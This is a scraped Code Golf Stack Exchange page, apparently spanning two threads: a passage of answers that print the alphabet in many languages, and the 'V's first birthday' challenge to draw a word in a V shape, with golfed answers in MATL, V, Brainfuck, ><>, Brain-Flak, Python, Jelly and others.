<tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <h2>Everything</h2> <table class="answer-list"> <thead> <tr><td></td><td>Language</td><td>Author</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # P is (actually) for [Piet](http://www.dangermouse.net/esoteric/piet.html) - 57 codels Large version (codel size = 6) ![p is for piet - big](https://i.stack.imgur.com/juvC4.png) Small version (codel size = 1) ![p is for piet - small](https://i.stack.imgur.com/l1dXU.png) Tested with Erik's piet interpreter [`npiet`](http://www.bertnase.de/npiet/) and developed with [Piet Creator](https://github.com/Ramblurr/PietCreator/wiki). **Edit**: Here is a "trace" version (generated with `npiet -tpf`) so you can see how it works. Execution starts in the top left and goes around the border clockwise. The top edge and right edge are setup (calculating the value of `a` (97) takes quite a few codels). The loop starts on the bottom edge and goes to the left edge. When the value of `z` is reached the program turns right into the cross section under the first `P` and terminates. [![](https://i.stack.imgur.com/MM04L.png)](https://i.stack.imgur.com/MM04L.png) Click the image to enlarge and see details [Answer] ## P is for Perl, 10 characters -> Score: 14 ``` print a..z ``` [Answer] ## P is for Python 2, 29 chars -> Score: 35 Every few years I come here with an update. See below. Also I'm proposing the addition of range expressions to Python [over here](https://discuss.python.org/t/pep-204-range-literals-getting-closure/25026) with [demo code here](https://github.com/jbvsmo/cpython/pull/1). That would allow us to make an even more compact answer. ## Mar 2023: 29 chars I realize the question says the output can be uppercase which allows us to shave off another char. It is quite ridiculous I didn't see that before. ``` print bytearray(range(65,91)) ``` ## Nov 2019: 30 chars I did it, after 8 years I realized there is a shorter way in python 2! ``` print bytearray(range(97,123)) ``` Previous code that was as big as trivial print: ## Jul 2011: 33 chars ``` print'%c'*26%tuple(range(97,123)) print'abcdefghijklmnopqrstuvwxyz' ``` Edit: Check out the breakthrough with Python 3 where I also found a solution smaller than trivial print: <https://codegolf.stackexchange.com/a/195165/2212> [Answer] # K is for [K](https://github.com/kevinlawler/kona), 12 characters -> Score: 13 ``` `0:_ci97+!26 ``` [Answer] ## Y is for [Yoix](http://www2.research.att.com/%7Eyoix/latest/index.html), 44 characters → Score: 48 ``` int x;for(;++x<27;)yoix.stdio.putchar(96+x); ``` [Answer] ## W is for Whitespace, 72 characters -> Score: 82 ![enter image description here](https://i.stack.imgur.com/e2NM9.png) ``` [Sp][Sp][Sp][Tab][Tab][Sp][Sp][Sp][Sp][Tab][LF][LF][Sp][Sp][Tab][Tab][LF][Sp][LF][Sp][Tab][LF][Sp][Sp][Sp][Sp][Sp][Tab][LF][Tab][Sp][Sp][Sp][Sp][LF][Sp][Sp][Sp][Sp][Tab][Tab][Tab][Tab][Sp][Tab][Tab][LF][Tab][Sp][Sp][Tab][LF][Tab][Sp][Sp][Sp][LF][LF][Sp][LF][Tab][Tab][LF][LF][Sp][Sp][Sp][Sp][LF][LF][LF][LF] ``` I spent ages getting this stupid thing to work last night and then found that whitespace doesn't show as code here! Then, while I was sulking, my Internet connection died. So, I'm posting it now just so I didn't waste an hour of my life last night getting it to work. [Answer] ## A is for APL, ~~14~~ 11 chars/bytes\* → score 14 ``` ⎕UCS 96+⍳26 ``` This works at least in Dyalog and [Nars2000](http://www.nars2000.org/). --- \* APL can be written in its own (legacy) single-byte charset that maps APL symbols to the upper 128 byte values. Therefore, for the purpose of scoring, a program of N chars *that only uses ASCII characters and APL symbols* can be considered to be N bytes long. [Answer] ## G is for Golfscript, 8 characters -> Score: 18 ``` 123,97>+ ``` [Answer] ## R is for R, 19 → Score: 20 ``` cat(letters,sep="") ``` [Answer] ## R is for Ruby, 13 characters -> Score: 17 A Ruby 1.9 solution [Matma Rex](https://codegolf.stackexchange.com/users/979/matma-rex) came up with: ``` print *?a..?z ``` My original Ruby 1.8 solution (15 characters -> Score: 19): ``` $><<[*'a'..'z'] ``` [Answer] ## F is for Fish (><>), 19 chars -> Score: 23 Because it's a damn beautiful language! ``` 30"`"1+::o&p&"y"(?; ``` [Answer] # D is for dc, 17 characters → Score: 19 ``` 97[dP1+dBD>x]dsxx ``` [Answer] # O is for [Owl](http://digilander.libero.it/tonibinhome/owl/), 11 characters -> Score: 14 ``` a[%)1+%z>]! ``` [Answer] ## S is for Scala, 16 chars => score 21 ``` 'a'to'z'mkString ``` 18 chars => score 23 ``` 'a'to'z'mkString"" ``` 22 chars => score 27 ``` ('a'to'z')map(print _) ``` [Answer] # B is for Befunge → 18 characters ``` "a"::,1+10p"y"`#@_ ``` [Answer] ## P is for Python 2, 42 characters → Score: 48 ``` import string print string.ascii_lowercase ``` [Answer] ## C is for C, ~~36~~ 35 characters → Score: 36 ``` main(a){for(;putchar(a+++64)-90;);} ``` [Answer] ## L is for Logo, 26 characters → Score: 30 ``` for[i 97 122][type char i] ``` [Answer] ## P is for Python 2, 41 characters → Score: 47 ``` print''.join(chr(i+97)for i in range(26)) ``` [Answer] ## P is for PowerShell, 15 characters → Score: 25 ``` -join('a'..'z') ``` [Answer] ## B is for [bc](http://www.manpagez.com/man/1/bc/) - 2 + 28 = 30 ``` "abcdefghijklmnopqrstuvwxyz" ``` [Answer] # J is for J, 14 characters -> Score: 15 ``` echo u:97+i.26 ``` [Answer] ## T is for Thue, 35 characters → Score: 39 ``` 0::=~abcdefghijklmnopqrstuvwxyz ::= 0 ``` [Answer] ## A is for AppleScript, 41 -> Score: 52 ``` display alert"abcdefghijklmnopqrstuvwxyz" ``` [Answer] ## M for Matlab, 13 chars, Score 19 ``` disp('a':'z') ``` M for Matlab, 18 chars, Score 24 ``` disp(char(97:122)) ``` [Answer] # B is for BrainF\*\*\*, 38 + 9 = 47 ``` ++++[>++++++<-]>[->+>++++<<]>++[->+.<] ``` Can be reduced to **31+9 = 40**, if cells wrap around at 256: ``` ++[>+>++<<+++++]>----->[<.+>++] ``` [Answer] ## B is for Bash: 4 + 16 = 20 ``` printf %s {a..z} ``` or 15 with just: ``` echo {a..z} ``` if output of the form `a b c ...` is allowed (as seen in many other answers). [Answer] ## I is for [Inform 6](http://en.wikipedia.org/wiki/Inform#Inform_6), 41 + 6 = 47 ``` [Main i;for(i=26:i--:)print(char)'z'-i;]; ``` [Answer] ## U is for [Unlambda](http://www.madore.org/%7Edavid/programs/unlambda/) - 8 + 79 = 87 ``` ``````````````````````````.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.zr ``` [Answer] ## H is for Haskell, 21 characters → Score: 28 ``` main=putStr['a'..'z'] ``` ]
[Question] [ *Thanks to @KritixiLithos for [helping me out](http://chat.stackexchange.com/transcript/message/35483773#35483773) with this challenge!* --- [V](https://github.com/DJMcMayhem/V) is a programming language that I wrote so that I could use and extend vim for code-golf challenges. [The very first commit](https://github.com/DJMcMayhem/V/commit/646d8217de78e5b6d9f6a639e6829a1b20ec2097) was on March 3rd, 2016, meaning that today V turns one year old! *Woo-hoo* Over V's first year of existence, there have been 176 commits from four different contributors, [140 answers from 12 different users](http://chat.stackexchange.com/transcript/message/35747195#35747195), and [too many broken duplicate operators to count](http://chat.stackexchange.com/transcript/message/34776304#34776304). It has an [online interpreter](https://tio.run/nexus/v), generously hosted by @Dennis, which has been run [almost 8,000 times since December](http://chat.stackexchange.com/transcript/message/35797717#35797717). Let's have a challenge to celebrate V's birthday! Since most features in V are designed with string manipulation and [ascii-art](/questions/tagged/ascii-art "show questions tagged 'ascii-art'") in mind, it just seems natural that any challenge celebrating V should be about ascii art. So your challenge for today is to take a word as input, and reshape that word in the shape of a V. For example, the input "Hello" should give the following V: ``` Hello olleH Hello olleH Hello olleH Hello olleH Hello olleH HellolleH HellleH HeleH HeH H ``` Here are some details about what your V should look like. If the input string is *n* characters long, the V should be `n*2` lines tall. The very first line should consist of: ``` <input string><(n*2) - 1 spaces><input string reversed> ``` On each new line, one space is added to the beginning, and the two sides of the string move towards each other, removing any overlapping characters. Until the very last line, which is just the first character of input. Trailing whitespace on each line is acceptable, and a trailing newline is allowed too. You can assume that the input will always be [printable ASCII](https://en.wikipedia.org/wiki/ASCII#Printable_characters) without any whitespace in it, and you may take input and output in any reasonable method. Here are some more sample inputs: ``` Happy: Happy yppaH Happy yppaH Happy yppaH Happy yppaH Happy yppaH HappyppaH HapppaH HapaH HaH H Birthday: Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB Birthday yadhtriB BirthdayadhtriB BirthdadhtriB BirthdhtriB BirthtriB BirtriB BiriB BiB B V!: V! !V V! !V V!V V ~: ~ ~ ~ ``` Of course, since this is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), standard loopholes are banned and your goal is to write the shortest possible program to complete this task. Happy golfing! --- *For what it's worth, I have a soft spot for vim answers, so imaginary bonus points for using vim or V, although any language is acceptable. :)* [Answer] # [MATL](https://github.com/lmendo/MATL), ~~21~~ 14 bytes *MATL wishes V a happy birthday!* ``` tnEXyY+c3MZvZ) ``` [Try it online!](https://tio.run/nexus/matl#@1@S5xpRGamdbOwbVRal@f@/ulNmUUlGSmKlOgA) ### Explanation Consider the input ``` 'Hello' ``` of length `n=5`. The code computes the 2D convolution of this string with the identity matrix of size `2*n`, ``` [1 0 0 0 0 0 0 0 0 0; 0 1 0 0 0 0 0 0 0 0; 0 0 1 0 0 0 0 0 0 0; 0 0 0 1 0 0 0 0 0 0; 0 0 0 0 1 0 0 0 0 0; 0 0 0 0 0 1 0 0 0 0; 0 0 0 0 0 0 1 0 0 0; 0 0 0 0 0 0 0 1 0 0; 0 0 0 0 0 0 0 0 1 0; 0 0 0 0 0 0 0 0 0 1] ``` The result of the convolution, converted to char and with char 0 shown as space, is ``` ['Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello '; ' Hello'] ``` Then the columns `[1, 2, ..., 2*n-1, 2*n, 2*n-1, ..., 2, 1]` are selected from this char matrix, producing the desired result: ``` ['Hello olleH'; ' Hello olleH '; ' Hello olleH '; ' Hello olleH '; ' Hello olleH '; ' HellolleH '; ' HellleH '; ' HeleH '; ' HeH '; ' H '] ``` ### Commented code ``` t % Implicitly input string. Duplicate nE % Length, say n. Multiply by 2 Xy % Identity matrix of that size Y+ % 2D convolution. This converts chars to ASCII codes c % Convert to char 3M % Push 2*n, again Zv % Push symmetric range [1, 2, ..., 2*n, 2*n-1, ..., 1] Z) % Apply as column indices. This reflects the first 2*n columns % symmetrically, and removes the rest. Implicitly display ``` [Answer] # [V](https://github.com/DJMcMayhem/V), ~~24, 23~~, 20 bytes ``` 3Ù2Ò Íî Xæ$òâÙHãêxx> ``` [Try it online!](https://tio.run/##ASsA1P92//8zw5kyw5Igw43DrgpYw6Ykw7LDosOZSMOjw6p4eD7//0JpcnRoZGF5 "V – Try It Online") *Much shorter now that V has a 'reverse' operator*. Not that impressive compared to the other golfing languages that have answered, but it had to be done. Hexdump: ``` 00000000: 33d9 32d2 20cd ee0a 58e6 24f2 e2d9 48e3 3.2. ...X.$...H. 00000010: ea78 783e .xx> ``` Explanation: ``` 3Ù " Make three extra copies of this current line 2Ò " Replace each character on this line and the next line with spaces Íî " Join all lines together X " Delete one space æ$ " Reverse the word under the cursor ``` At this point, the buffer looks like this: ``` Happy yppaH ``` No, we'll recursively build the triangle down. ``` ò " Recursively: â " Break if there is only one non-whitespace character on this line Ù " Make a copy of this line H " Move to the first line ã " Move to the center of this line ê " Move to this column on the last line xx " Delete two characters > " Indent this line ``` Here is where I get to show off one of my favorite features of V. Lots of commands require an argument. For example, the `>` command will indent a variable number of lines depending on the argument: ``` >> " Indent this line (this command is actually a synonym for '>_') >j " Indent this line and the line below >k " Indent this line and the line above 6>> " Indent 6 lines >} " Indent to the end of this paragraph >G " Indent to the last line ... " Many many many more ``` but most commands will be forced to end with a default argument (usually the current line) if it is at the end of the program and not specified. For example, what V *actually runs* for our recursive loop is: ``` òâÙHãêxx>>ò ``` The second `ò` is implicitly filled in. The cool thing is that implicitly ended commands apply several layers deep, so even though we only wrote `>`, V will implicitly give `_` for it's argument, and it will indent the current line. [Answer] # [Brainfuck](https://github.com/TryItOnline/tio-transpilers), 152 bytes This is such a momentous occasion, I decided to crack out the ol' BF interpreter and give this a spin. ``` ++++++++++[->+>+++<<]>>++>>+>>>,[[<]<<+>>>[>],]<[<]<<-[->+>>[>]>++++[-<++++++++>]<[<]<<]>[->++<]>[-<+>]<[<[-<+<.>>]<[->+<]>+>->>[.>]<[-]<[.<]<<<<<.>>>>] ``` ## With Comments ``` ++++++++++ [->+>+++<<] Insert 0 into the first buffer (Which we don't care about) 10 into the second and 30 into the thrd >>++ Raise the third buffer to 32 making us our space > This buffer is reserved for the Insertable spaces counter > +>>> Raise our incrementer This will be used to fill the other half of the string with spaces ,[ Read a byte [<]<< Move to the back of the string buffer which is our incrementer + increment it >>>[>] And move to the next space of the string , And then read a new byte ] <[<]<<- Decrement the incrementer and begin to add spaces [ - Decrement the incrementer >+ Raise the incrementer in the padding >>[>] Move to a new part of the string buffer >++++[-<++++++++>]< Write a space [<]<< Move all the way back to the string counter ] BEGIN WRITING!! > [->++<]>[-<+>]<Double the incrementer [ <[ Move to the space counter -<+<.>> Decrement the space counter increment the temporary one to the left of it then print the space we stored to the left of that then return ]<[->+<]>+> Move the temporary space counter back - Decrement the incrementer >>[.>] Print every character from left to right <[-] Snip the end off this <[.<] Print every character from right to left < Move back ot the incrementer <<<<.>>>> Print a newline aswell ] ``` [Try it online!](https://tio.run/nexus/brainfuck#PYw7DoAwDEOvQufSnsDywMQJWKoMSAywIcTC6YtTPpEiO85LavyrJEZKAaNUTbIvBQa4LbTe0MbUWE/4XOJ7wpcwOhKb4kndINO9VtpEJv3ILVBnv1MJEVTrOO/71Q3bca7LfHVTCOEG "brainfuck – TIO Nexus") [Answer] # [><>](https://esolangs.org/wiki/Fish), 221 bytes I spent **way** too much time on this. *Happy birthday, V!* ``` l:2*01 p84*/v !@:$-1 /!?:$< 1.v/ ^ v\~~>a vv\}o< >ao / 1\/84/ :}o:$- \\!?<: l;!?\v p10-1:g10r\ > :>?\vv v:$-1/~ </r+* </~ l ``` You can [try it online](https://tio.run/nexus/fish#TY5BC8IwDIXv/RWvsNNkZpUdRi2dPyQIE0GFwaSTgoftr9dsTGdOeV9e8pI6e8hLg62edZVTVNAnmxXbgHRjM6cAs4@E80ojT5Nv1dxFHnu3QN/24p8hDFNdkTR27OXcwsCsG2fRHXXDUa2ppiyMvZky8ErgZcuL42uRjPkjmn4ajsIu36TovyHQpZSKAZdHeN2v7fsD "><> – TIO Nexus"), but it's a lot more fun to get [this interpreter](https://github.com/DuctrTape/fish) and run it using the `--play` flag ``` python3 fish.py v.fish -s "ppcg" --tick 0.05 --play ``` which results in the animation below. ## Example [![Example fish run](https://i.stack.imgur.com/Ji3tv.gif)](https://i.stack.imgur.com/Ji3tv.gif) *(it takes a little under two minutes)* ## Explanation Because the interesting part of this answer is wrapping it in the `V` shape, here is an explanation that conforms to it. We use following line-numbered version for reference. ``` 1. l:2*01 p84*/v 2. !@:$-1 /!?:$< 3. 1.v/ ^ v\~~>a 4. vv\}o< >ao / 5. 1\/84/ :}o:$- 6. \\!?<: l;!?\v 7. p10-1:g10r\ 8. > :>?\vv 9. v:$-1/~ 10. </r+* 11. </~ 12. l ``` Sometimes arrows (→↓←) are used to indicate the direction in which a snippet is reached. 1. **Initialisation** ``` 1.→l:2*01 p84*/v 2. !@:$-1 X /!?:$< 3. 1. \~~>a ``` The first line will push *2n* to [0,1], leave *n* on the stack and append one space. Next, we go up and wrap around to the second line on the right, where we will start going left. There is a loop for appending *n + 1* spaces. This works as follows. ``` Initial: "ppcg4 " !@:$-1 /!?:$< $ Swap. "ppcg 4" : Duplicate. "ppcg 44" ? If more spaces to add: -1 Subtract 1. "ppcg 3" $ Swap. "ppcg3 " : Duplicate. "ppcg3 " @ Rotate top 3. "ppcg 3 " ! Jump over stored value and wrap around. Else: / Go to next part. ``` After this is finished, it bounces down to line 3. There the top two stack elements (0 and a space) are removed (`~~`) and we jump to the `X` at location [10,1] (`a1.`), continuing rightwards. We bump up at the `/`, wrap around to line 7 and start the main program loop. 2. **Main loop** (*2n* times do) ``` 6. ;!?\ 7. p10-1:g10r\ ← ``` This is the loop condition. At first, the stack is reversed for printing. Then we get the counter from [1,0] (`01g`) and store a decremented version (`:1-01p`). By wrapping around and bumping up and right, we encounter the conditional for terminating the program. If we don't terminate, we jump into the first printing loop. * **First printing loop (left half)** ``` 5. 1\ / :}o:$- 6. \\!?<: l ← ``` We start with the length on top of the stack and execute the following code as long as the top element is not 0. ``` 1-$:o} 1- Subtract 1. "ppcg3" $ Swap. "ppc3g" : Duplicate. "ppc3gg" o Output. "ppc3g" } Rotate right. "gppc3" ``` This will print the stack without discarding it. If the loop terminates, we jump to the right on line 5, preparing for the next printing loop. * **Preparation of right half** ``` 5. → /84/ 6. \ 7. : 8. > 9. v:$-1/~ 10. </r+* 11. </~ 12. l ``` This was one of the hardest parts to fit. Below is a version stripped of all direction wrapping to indicate what happens. ``` Initial stack: " gcpp0" 84*+r~ 84* Push 32 == " ". " gcpp0 " + Add 32 and 0. " gcpp " r Reverse. " gcpp " ~ Remove top. " gcpp " ``` We then push the length of what is to be printed and start the second printing loop (with an initial duplicate not part of the loop). * **Second printing loop (right half)** ``` 3. / ^ 4. \}o< 5. 6. ↓ 7. 8. > :>?\vv 9. v:$-1/~ ``` The code being executed is completely the same as in the first printing loop, with the `o}` being placed a bit further because there were available locations. Upon finishing, we have a few things left to do before we can verify the main loop invariant again. After the `~` on line 9 is executed we wrap around vertically, ending up at the following piece of code. ``` ↓ 2. X / 3. 1.v/ >a 4. >ao / ``` First `ao` will print a newline. Then we bounce up and arrive at exactly the same spot from after the initialisation, namely jumping to the `X`. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), 486 + 1 = 489 bytes *Happy Birthday V from Brain-Flak!* *Also a Thank you to [0 '](https://codegolf.stackexchange.com/users/20059) who provided some of the code used in this answer* +1 due to the `-c` flag which is required for ASCII in and out ``` ((([]<{({}<>)<>}<>([]){({}[()]<(([][()])<{({}[()]<({}<>)<>>)}{}><>)<>({}<<>{({}[()]<({}<>)<>>)}{}><>)(({})<>)<>>)}{}([][][()]){({}[()]<((((()()()()){}){}){})>)}{}<>{({}<>)<>}<>>){}[()])<{((({})<((({}){}())){({}[()]<(({}<(({})<>)<>>)<(({}<({}<>)<>>[()])<<>({}<<>{({}[()]<({}<>)<>>)}{}>)<>>){({}[()]<({}<>)<>>)}{}<>>)>)}{}{}((()()()()()){})(<()>)<>>)<{({}[()]<({}<>)<>>)}{}{}{}{({}<>)<>}<>>[()])}{}>()())([][()]){{}(({}[()])<{({}[()]<((((()()()()){}){}){})>)}{}{({}<>)<>}{}>)([][()])}{}<> ``` [Try it online!](https://tio.run/nexus/brain-flak#hZA9DsMgDIWvwmgPvYFliUgMlTI1Q4YoU4@BODv1DxSGRAkRGGN/70EFgOOkDLkQI7HMskfdH4An6akGSCPVShlLLmyhpojvK0AyOFLKdOqkIx/6QCn236od3N0xeocacqwvQkWcedIyy7ZMd@aIB@cWXJ/pYoHo/o27dSDApnnda2O@kplRQUP0F8@KHpd9fqjBVO8dY2Zrjcuawh638A7pk2Te4h7SusT6@v4A "Brain-Flak – TIO Nexus") This is without a doubt the hardest thing I have ever done in Brain-Flak. Brain-Flak is notoriously terrible at duplicating and reversing strings and this challenge consists of nothing but duplicating and reversing strings. I managed to get [this](https://tio.run/nexus/brain-flak#hVFJDoMwDLz7JZ5Df2D5Fb0hThUvaG9W3h68QGiloIYA1mQ8nlE687KKsTVRiPqXHAAFsjBWoSBEBRnYyVY0a5plQKL3DJexhsQowRhzCF/DOBbqgfNrJ7/Eh0lFtYDIXDvFc0Y11jh8CXvvZcHfQk6bFfBPjCzmZ/GrWJFsZBhmZrEoYwjNFS3FfiJX3sDzju6c9P7c3p/@eO0) almost working snippet in just under an hour of hard work, but adding in the last few spaces turned out to be one of the most difficult things I have ever done in Brain-Flak. # Explanation The basic Idea is that we will create the top of the V first and each iteration remove two characters from the middle and add a space to the beginning. In practice this becomes quite difficult. Existing algorithms exist for copy and reverse so I used one of those to create a reversed copy of the code on the offstack. Once I've done that I put `2n-1` spaces on top of the original stack and move the offstack back onto the onstack to create a sandwich. [![Test 1](https://i.stack.imgur.com/L37CD.png)](https://i.stack.imgur.com/L37CD.png) Now we have our top row. Now we want to remove two characters from the beginning and add a space to the front. This turns out to be the most difficult part. The reason for this is that we need to essentially store two values, one for the depth of the current snippet and one for the depth to the center of the V where the deletion has to occur. This is hard. Because of all the duplication and reversal that is going on both of the stacks are in full use all of the time. There really is nowhere on these stacks to put anything. Even with all of the Third Stack Magic in the world you can't get the type of access you need to solve this problem. So how do we fix it? In short we don't really; we ignore the spaces for now and patch them in later we will add zeros to the code to mark where the spaces are intended to go but other than that we won't really do anything. So on each iteration we make a copy of the last iteration and put it onto the offstack. We use the depth we stored to split this in half so we have the left half of the V on the right stack and the right half of the V on the left stack. We remove two elements and patch the two back together. We add a newline for good measure and start the next iteration. Each time the depth to the center of the V decreases by one and when it hits zero we stop the loop. Now we have the bulk of the V constructed. We are however lacking proper spaces and our V is currently a bit (read: completely) upside-down. [![Test 2](https://i.stack.imgur.com/0rXC6.png)](https://i.stack.imgur.com/0rXC6.png) So we flip it. To flip it onto the other stack we have to move each element over one by one. As we are moving elements we check for zeros. If we encounter one we have to put the spaces back in where they belong. We chuck the zero and add in a bunch of spaces. How do we know how many? We keep track; flipping a stack unlike duplicating or reversing one is a very un-intensive task so we actually have the memory to store and access an additional counter to keep track of how many spaces to add. Each time we add some spaces we decrement the counter by one. The counter should hit zero at the last newline (the top of the V) and thus we are ready to print. Lastly we clean up a few things hanging around and terminate the program for implicit output. [![Test 3](https://i.stack.imgur.com/1hRJQ.png)](https://i.stack.imgur.com/1hRJQ.png) [Answer] # [Python 3](https://docs.python.org/3/), 65 bytes ``` s=input();s+=' '*len(s) for _ in s:s=' '+s[print(s+s[-2::-1]):-1] ``` [Try it online!](https://tio.run/nexus/python3#@19sm5lXUFqioWldrG2rrqCulZOap1GsyZWWX6QQr5CZp1BsVQwS1y6OLijKzCvRKAaydI2srHQNYzVBxP//HokFBZUKTplFJRkpiZUKYYoA "Python 3 – TIO Nexus") --- # [Python 2](https://docs.python.org/2/), 65 bytes ``` s=input();s+=' '*len(s) for _ in s:print s+s[-2::-1];s=' '+s[:-1] ``` [Try it online!](https://tio.run/nexus/python2#@19sm5lXUFqioWldrG2rrqCulZOap1GsyZWWX6QQr5CZp1BsVVCUmVeiUKxdHK1rZGWlaxhrXQxSCeSDOP//q3skFhRUKjhlFpVkpCRWKoQpqgMA "Python 2 – TIO Nexus") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~15~~ 12 bytes ``` ⁶ṁ⁸;;\Uz⁶ŒBY ``` [Try it online!](https://tio.run/nexus/jelly#@/@ocdvDnY2PGndYW8eEVgF5Ryc5Rf7//98jsaCgUsEps6gkIyWxUiFMEQA "Jelly – TIO Nexus") ### How it works ``` ⁶ṁ⁸;;\Uz⁶ŒBY Main link. Argument: s (string) ⁶ṁ Mold ' ' like s, creating a string of len(s) spaces. ⁸; Prepend s to the spaces. ;\ Cumulative concatenation, generating all prefixes. U Upend; reverse each prefix. z⁶ Zip/transpose, filling empty spots with spaces. ŒB Bounce; map each string t to t[:-1]+t[::-1]. Y Join, separating by linefeeds. ``` [Answer] ## JavaScript (ES6), ~~108~~ ~~106~~ ~~98~~ 94 bytes ``` f= s=>s.repeat((j=l=s.length*4)*2).replace(/./g,_=>--j?s[j+j<l?j-i:l-i-j]||` `:(j=l,++i,` `),i=1) ``` ``` <input oninput=o.textContent=f(this.value)><pre id=o> ``` [Answer] ## [Retina](https://github.com/m-ender/retina), ~~51~~ 47 bytes *Happy birthday from a fellow string-processing language!* Byte count assumes ISO 8859-1 encoding. ``` $ $.`$* $ ¶$` O$^r`.\G ;{*`.¶ (\S.*).¶. $1¶ ``` [Try it online!](https://tio.run/nexus/retina#@6/CpaKXoKKlwKXCdWibSgKXv0pcUYJejDsXl3W1VoLeoW1cXBoxwXpamkCmHpeCiuGhbf//e6Tm5OQDAA "Retina – TIO Nexus") ### Explanation ``` $ $.`$* ``` This appends `n` spaces (where `n` is the string length), by matching the end of the string, retrieving the length of the string with `$.``, and repeating a space that many times with `$*`. ``` $ ¶$` ``` We duplicate the entire string (separated by a linefeed), by matching the end of the string again and inserting the string itself with `$``. ``` O$^r`.\G ``` This reverses the second line by matching from right-to-left (`r`), then matching one character at a time (`.`) but making sure that they're all adjacent (`\G`). This way, the matches can't get past the linefeed. This is then used in a sort-stage. By using the sort-by mode (`$`) but replacing each match with an empty string, no actual sorting is done. But due to the `^` option, the matches are reversed at the end, reversing the entire second line. ``` ;{*`.¶ ``` This stage is for output and also affects the rest of the program. `{` wraps the remaining stages in a loop which is repeated until those stages fail to change the string (which will happen because the last stage won't match any more). The `;` disables output at the end of the program. The `*` turns this stage into a dry-run which means that the stage is processed and the result is printed, but afterwards the previous string is restored. The stage itself simply removes a linefeed and the preceding character. Which gives us one line of the desired output (starting with the first line). ``` (\S.*).¶. $1¶ ``` Finally, this stage turns each line into the next. This is done by inserting a space in front of the first non-space character, removing the last character on the first line, as well as the first character on the second line. This process stops once there is only one non-space character left on the first line, which corresponds to the last line of the output. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 12 bytes ``` Dgð×J.p€ûR.c ``` [Try it online!](https://tio.run/nexus/05ab1e#@@@SfnjD4eleegWPmtYc3h2kl/z/v0diQUGlglNmUUlGSmKlQhgA "05AB1E – TIO Nexus") **Explanation** ``` D # duplicate input g # length of copy ð×J # append that many spaces to input .p # get a list of all prefixes €û # turn each into a palindrome R # reverse the list .c # pad each line until centered ``` Or for the same byte count from the other direction. ``` Âsgú.sí€ûR.c ``` **Explanation** ```  # push a reversed copy of input s # swap the input to the top of the stack g # get its length ú # prepend that many spaces .s # get a list of all suffixes í # reverse each €û # turn each into a palindrome R # reverse the list .c # pad each line until centered ``` [Answer] # Japt, ~~22~~ ~~20~~ ~~16~~ 14 + 2 bytes *Japt wishes V many more successful years of golfing!* ``` ²¬£²îU²ç iYU)ê ``` Requires the `-R` flag. [Test it online!](http://ethproductions.github.io/japt/?v=1.4.4&code=sqyjsu5VsucgaVlVKeo=&input=IkhlbGxvIiAtUg==) ### Explanation This makes use of the `ç` and `î` functions I added a few days ago: ``` ²¬£²îU²ç iYU)ê Implicit: U = input string ² Double the input string. ¬ Split into chars. £ Map each char X and index Y by this function: U² Take the input doubled. ç Fill this with spaces. iYU Insert the input at index Y. î ) Mask: repeat that string until it reaches the length of ² the input doubled. This grabs the first U.length * 2 chars of the string. ê Bounce the result ("abc" -> "abcba"). Implicit: output result of last expression, joined by newlines (-R flag) ``` [Dennis's technique](https://codegolf.stackexchange.com/a/111945/42545) is a byte longer: ``` U+Uç)å+ mw y mê ``` [Answer] ## [GNU sed](https://www.gnu.org/software/sed/), ~~110~~ 100 + 1(r flag) = 101 bytes **Edit:** 9 bytes shorter thanks to [Riley](/users/57100/riley) *As another string manipulation language, **sed** wishes **V** the best!* ``` h;G :;s:\n.: \n:;t h;:r;s:(.)(\n.*):\2\1:;tr H;x s:\n\n :: :V h;s:\n::p;g s:^: :;s:.\n.:\n: /\n$/!tV ``` **[Try it online!](https://tio.run/nexus/sed#FYwxCoQwEEX7OUWELVTYiJZ/DmBOYDVst6ggE4kpPL1xUv73H69sPBP4gqiHEwVn2hjJSOu71mjfQSYZ7UgU@KaqijqAsJhaJ3DyascPrqZ8bRmlQfQzNHkpJfyPIz7xzHvUq3zTCw)** **Explanation:** assuming the input is the last test case ('V!'). I will show the pattern space at each step for clarity, replacing spaces with 'S's. ``` h;G # duplicate input to 2nd line: V!\nV! :;s:\n.: \n:;t # shift each char from 2nd line to 1st, as space: V!SS\n h;:r;s:(.)(\n.*):\2\1:;tr # save pattern space, then loop to reverse it: \nSS!V H;x # append reversed pattern to the one saved V!SS\n\n\nSS!V s:\n\n :: # convert to format, use \n as side delimiter: V!SS\nS!V :V # start loop 'V', that generates the remaining output h;s:\n::p;g # temporarily remove the side delimiter and print pattern s:^: :;s:.\n.:\n: # prepend space, delete char around both sides: SV!S\n!V /\n$/!tV # repeat, till no char is left on the right side # implicit printing of pattern left (last output line) ``` [Answer] # Python, 110 bytes [Try it online!](https://tio.run/nexus/python2#LY07DsIwEAX7nMJKs/5oEU5pRMM1IEWk2LAIvUQbU3B6kyLdaDTStDkXU@zmEq6fjB38wPGiuX4VRKf3IrDiyVDY7gkhsozBggcv7rBg4ZgSxzHQA1QWNWIERic8s4VzAUd5HrtuVUHdj/1NtL7m6de71v4) I'm sure this isn't optimal, but it's pretty Pythonic at least: ``` def f(s):n=len(s)*2-1;return''.join(i*' '+s[:n+1-i]+(n-2*i)*' '+s[n-i-1::-1]+'\n'for i in range(n))+n*' '+s[0] ``` [Answer] # Jolf, 31 bytes *Jolf begrudgingly wishes V a happy birthday!* ``` RΜwzΒώlid+γ_pq_ l+*␅Hi0ΒΒ␅ L_γ1S ``` [Try it 